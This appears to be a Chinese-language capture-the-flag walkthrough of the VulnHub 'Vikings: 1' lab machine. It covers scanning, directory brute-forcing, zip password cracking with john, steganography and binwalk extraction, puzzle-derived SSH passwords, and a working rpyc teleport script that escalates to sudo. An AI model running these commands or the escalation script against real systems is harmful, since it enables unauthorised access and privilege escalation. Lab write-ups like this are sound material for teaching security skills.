09 - VIKINGS:1

09 - VIKINGS: 1

0x01 下载地址

Vikings: 1www.vulnhub.com

0x02 靶机目标

获取root权限+2 Flag

0x03 工具准备

• Cyberchef

CyberChefgchq.github.io

• 隐写探测工具steghide

• 素数查找/科拉茨猜想

0x04 详细步骤

主机发现

sudo arp-scan -l

端口扫描

sudo nmap -p- 10.0.0.8
sudo nmap -p22,80 -sV -sC 10.0.0.8

Web信息收集

浏览器访问http://10.0.0.8

浏览器访问http://10.0.0.8/site/，加载特别慢，特别提到了一个人名Ragnar

目录扫描

gobuster dir -r -u http://10.0.0.8/ -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt

gobuster dir -r -u http://10.0.0.8/site/ -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txtbash

浏览器访问[http://10.0.0.8/site/war.txt](http://10.0.0.8/site/war.txt)

浏览器访问[http://10.0.0.8/site/war-is-over/](http://10.0.0.8/site/war-is-over/)

文件解密

把该段内容放入CyberChef进行解密，调用From Base64模块得到

把该段内容放入CyberChef进行解密，调用From Base64和Entropy模块得到

把该段内容放入CyberChef进行解密，调用From Base64和Detect File Type模块得到该串字符为zip格式文件

把该段内容放入CyberChef进行解密，调用From Base64模块，并将解密后的文件保存成zip文件提取出来

保存为a.zip文件，下载到本地

解压该文件需要解压密码

破解zip解压密码

文件格式转换

zip2john a.zip > hash

字典准备

cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz

执行破解，得到解压密码为ragnarok123

john hash --wordlist=rockyou.txt

解压a.zip文件，得到一个king图片

隐写内容提取&二进制文件提取

查看隐写文件，发现需要密码

steghide info king

可以尝试使用shell爆破隐写密码，不推荐使用（字典无法破解成功，且效率低）

for i in $(cat "rockyou.txt"); do steghide extract king -p $i; done

使用binwalk对king包含文件进行分析

binwalk -B king

使用binwalk对king文件进行提取

binwalk -e king

查看提取文件

ls
cd _king.extracted
ls
cat user
//FamousBoatbuilder_floki@vikings
//f@m0usboatbuilde7

猜测user文件包含得内容可能就是ssh登录得密码，最终使用floki和f@m0usboatbuilde7登录系统

素数查找/科拉茨猜想

ls
cat readme.txt
cat boat

根据提示信息，解密boat文件获取ragnar密码

#第29个素数，科拉茨猜想

#找第29个素数，答案为109
n = 0
for x in range(1000):
    if x < 2:
        continue
    h = int(x / 2) + 1
    for i in range(2,h):
        if x % i ==0:
            break
    else:
        n += 1
        print(n, ":", x)

python3 1.py
1 : 2
2 : 3
3 : 5
4 : 7
5 : 11
6 : 13
7 : 17
8 : 19
9 : 23
10 : 29
11 : 31
12 : 37
13 : 41
14 : 43
15 : 47
16 : 53
17 : 59
18 : 61
19 : 67
20 : 71
21 : 73
22 : 79
23 : 83
24 : 89
25 : 97
26 : 101
27 : 103
28 : 107
29 : 109
后续略

#科拉茨猜想collatz-conjecture(109)
i = 109
c = [i]
while i != 1:
    if i % 2 == 1:
        i = i*3 + 1
    else:
        i = i // 2
    if i < 256:
        c.append(i)
print(c)

python3 2.py
[109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]

把以上数字序列放入CyberChef的From Decimal模块转换为asc字符，注意分隔符选择Comma逗号

m¤R)|>.^/.GÖk¡òy¶[.Îg.鯧ûôz=¸\..F#j5 P(.
......

CyberChef再加入Strings模块，显示可打印字符，注意选择最短字符为1

m
R)|>
^/
G
k
y
[
g
z=
\.
F#j5
P(

去掉换行符后得到

mR)|>^/Gky[gz=\.F#j5P(

使用ragnar和mR)|>^/Gky[gz=\.F#j5P(再次登录主机

rpyc，root提权

由于ragnar账号登录系统后sudo提示了一些错误信息，猜想某些登录配置文件可能执行了某些程序或指令，故依次查看

cat .bashrc
cat .profile

发现.profile中有调用sudo程序的，故去查看rpyc_classic.py脚本

切换bash

/bin/bash -i

查看rpyc_classic.py脚本，使用rpyc模块

查看rpyc_classic.py权限，有执行权限，没有修改权限

ls -l /usr/local/bin/rpyc_classic.py

通过简单阅读rpyc官方手册[https://rpyc.readthedocs.io/en/latest/tutorial/tut1.html](https://rpyc.readthedocs.io/en/latest/tutorial/tut1.html)得知

rpyc默认监听在18812端口上，可用通过构造teleport方法运行系统命令

故构造攻击脚本为

cat exp.py
import rpyc
def shell():
    import os
    os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)
fn()

执行exp.py

重新使用ragnar账号登录系统，输入两次密码，sudo -s提权成功

查询flag